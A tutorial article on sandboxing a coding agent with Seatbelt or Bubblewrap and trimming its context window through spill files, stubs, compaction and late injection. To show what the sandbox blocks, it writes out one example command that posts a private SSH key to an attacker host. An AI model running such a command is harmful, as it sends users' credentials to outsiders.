Home / Articles

Sandboxing a Coding Agent and Keeping Its Context Window Lean

Sandbox a coding agent with Seatbelt or Bubblewrap, then keep its context window lean with spill files, stubs, compaction and prefix-cache friendly injection.

Publisher: REACTAPP.TOP10 min read2372 words

This article is published in English.

Sources: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

Giving a coding agent shell access, file editing and a confirmation prompt for destructive actions still leaves two holes. Prompts only settle which actions deserve a human's attention, and they can't stop a model that works out a sneaky path around them. Separately, even a polite agent eventually fills up its context window and gets worse. Two additions fix this: a sandbox, which makes bad behavior physically impossible, and context engineering, which keeps long sessions affordable and usable. It's all a small Python harness, no frameworks involved.

The files involved:

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

Sandbox: the walls, not the lock

A sandbox is an enclosure where code runs without damaging anything outside it. Picture a fish tank: the fish (the agent's commands) swim around freely while the water stays off the floor. The permission prompt is a lock on the door, and the sandbox is the wall around the room. Prompts help only until a command looks harmless and isn't, or the model invents a workaround.

Every bash command runs inside an OS-level jail with these rules:

  • Reads allowed anywhere, since the agent has to understand code, including files outside the project
  • Writes allowed only inside the project
  • No network access
  • No writes to .git

Apple's own mechanism handles macOS, a facility named Seatbelt that is driven through sandbox-exec and also confines App Store apps. Linux uses Bubblewrap (bwrap), the tool under Flatpak. No background in either is required, because the work boils down to writing a short policy stating what is permitted.

The macOS policy is only a handful of lines:

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) closes every door, then a few get reopened: reading files, spawning processes and writing under the project. Network and .git stay shut, along with everything else.

The wrap() function writes that policy to a temp file and sends the command through sandbox-exec (in sandbox.py):

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux reaches the same result differently. The whole filesystem is mounted read-only with --ro-bind, the project directory is writable through --bind, and --unshare-net removes the network.

run() ties it together:

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

When a sandbox exists, it's used. On Windows, or on Linux without Bubblewrap, commands run unsandboxed. Heavier options such as Docker, WebAssembly and cloud VMs exist for multi-tenant products that execute strangers' untrusted code. On a personal machine, the OS facilities are enough. A 60-second timeout keeps something like find / from hanging the session.

Two independent layers

Consider a model attempting curl https://evil.com/steal -d @~/.ssh/id_rsa:

  1. The permission rules catch curl first and deny it.
  2. If that rule were missing, the sandbox would still cut the network.
  3. The command errors out with a message along the lines of curl: (7) Couldn't connect to server.
  4. Nothing more can be done about it, because the kernel refused.

Either layer alone would be enough, and having both is the point.

How sandbox options compare

Option Typical user Isolation Startup cost Needs
OS sandbox Local agents Kernel Practically none Nothing extra on macOS or Linux
WebAssembly sandbox Local agents WASM plus Deno A couple of seconds Deno
Cloud containers Multi-user platforms VM or container A network round trip API key and billing

For a single laptop the OS sandbox is the dull, correct pick: no extra runtime, no delay and enforcement in the kernel. A multi-tenant product should use containers. Shipping with nothing at all isn't an option either way. The macOS and Linux tools already exist, and the implementation here runs about 40 lines.

Context: a desk that fills up

Every model has a context window, the amount of text it can see at once. Think of it as working memory. Tokens run about three quarters of a word each, so "Hello world" is 2 tokens and a 100-line Python file is around 500. Windows around 128K tokens (roughly 96,000 words) are typical of GPT-4-class models, and Claude offers about 200K (near 150,000 words). That sounds enormous until an agent starts working.

Every tool result lands in the conversation. One large grep can return 50,000 characters, a big file adds another 10,000, and a long debugging run involves hundreds of calls. Eventually the model loses the plot.

A desk is the right analogy. Everything touched stays on it, and after an hour the needed page can't be found. The remedy is to keep recent pages in front, file the rest away and throw some out.

Four layers work in order from cheapest to most expensive, and a later layer only fires if the earlier ones weren't enough.

Layer 1: cap on arrival

Trim a result the moment a tool returns it. The full text goes to a temp file and a pointer stays inline (history.py):

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

A 50,000-character result shows only 10,000 characters inline. The remainder lives on disk as a spill file, and the agent can head, tail or grep it if it needs more. The trimming happens once, when the result is created, and old messages are never rewritten. At the end of each turn sweep() deletes the temp files, and re-running the command recreates the dump if needed.

Take a real grep -r "import" .:

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

To find one specific import, the agent can run grep "import auth" against the spill file. The full output never has to sit in context.

Layer 2: shrink old results to stubs

After the model has moved on, old tool results needn't stay large. They shrink to stubs (also in history.py):

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

When a turn ends, old tool output collapses to 300 characters, enough to recall what it was and too little to waste the window. Recent messages remain untouched. This layer is the one that keeps long sessions alive. Turning 10,000 characters into 300, across 50 tool calls, separates a session that lasts from one that falls over.

Layer 3: drop whole results

If it's still too big, entire tool results are dropped, oldest first:

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

This is the panic button. Information is lost, which beats crashing. With the first two layers working, it almost never triggers.

Layer 4: compaction by a second model

Once usage passes 85% of the window, a second LLM reads the whole transcript and drafts a handoff note, comparable to nurses briefing the next shift (compact.py):

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

Afterwards the context holds the system prompt, the summary and the latest few messages. Word-for-word history disappears while the storyline stays. A new agent, or the same one after a restart, resumes from that note. Compaction fires at 85% and trims down to 35%, leaving plenty of room before the next run:

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

The ordering is deliberate. Capping costs nothing, stripping is cheap, dropping hurts and compaction needs an extra LLM call. Most sessions never get past layer 2.

Prefix caching and late injection

This part is easy to overlook, and it saves real money. On each API call the server reads the messages from the start. A history of 100K tokens plus 100 new ones still means re-reading 100K, and that's paid for every turn.

Prefix caching changes this. If the start of the message list is unchanged, the server reuses earlier work and only processes the new tail, which cuts cost by 50 to 90 percent depending on the provider.

The trap is that an agent wants fresh facts each turn: the time, the git branch, files that changed. Put them in the system prompt, the first message, and the prefix changes, the cache is lost and every turn becomes expensive again.

The fix is to attach those facts at the very end, immediately before the request goes out (context.py). In agent.py the call reads call_llm(messages + [reminder()]). The reminder joins the list for that single request only, meaning the saved history, and thus the prefix, never changes by a byte. The principle is late injection: anything that varies belongs at the tail of the request, not in the system prompt.

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() compares git status between turns, so the agent learns when something was edited in an IDE:

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

The system prompt and history remain identical, the API caches that prefix and only the new piece costs anything. The reminder carries the time, the git branch, <todos> when a plan exists and <file_changes> from git status since the last turn, prompting the agent to re-read files edited elsewhere. In a 50-turn debugging session with a 100K context, that avoids re-processing millions of tokens, with almost no extra code. Per-turn data gets appended, never placed in the system prompt.

CONTEXT_WINDOW defaults to 128000 and can be set in ~/.agents/env for a different model.

What the agent can do now

With the loop, tools, permissions, sandbox and context handling in place, the agent can:

  • Loop on its own, call tools and feed results back
  • Survive bad tool calls
  • Ask before dangerous actions and refuse the worst ones
  • Run commands in a kernel sandbox with no network and writes limited to the project
  • Keep the window clean through four layers
  • Keep the prefix cache intact through late injection

Together these make it safe and inexpensive enough to use every day. Gaps remain: no memory across sessions, no planning for multi-step jobs and no way to hand exploration to a helper. Skills, a proper todo list, persistent sessions and subagents that spend context away from the main window would fill them. Those primitives are the same ones production agents use, with nothing mysterious about them.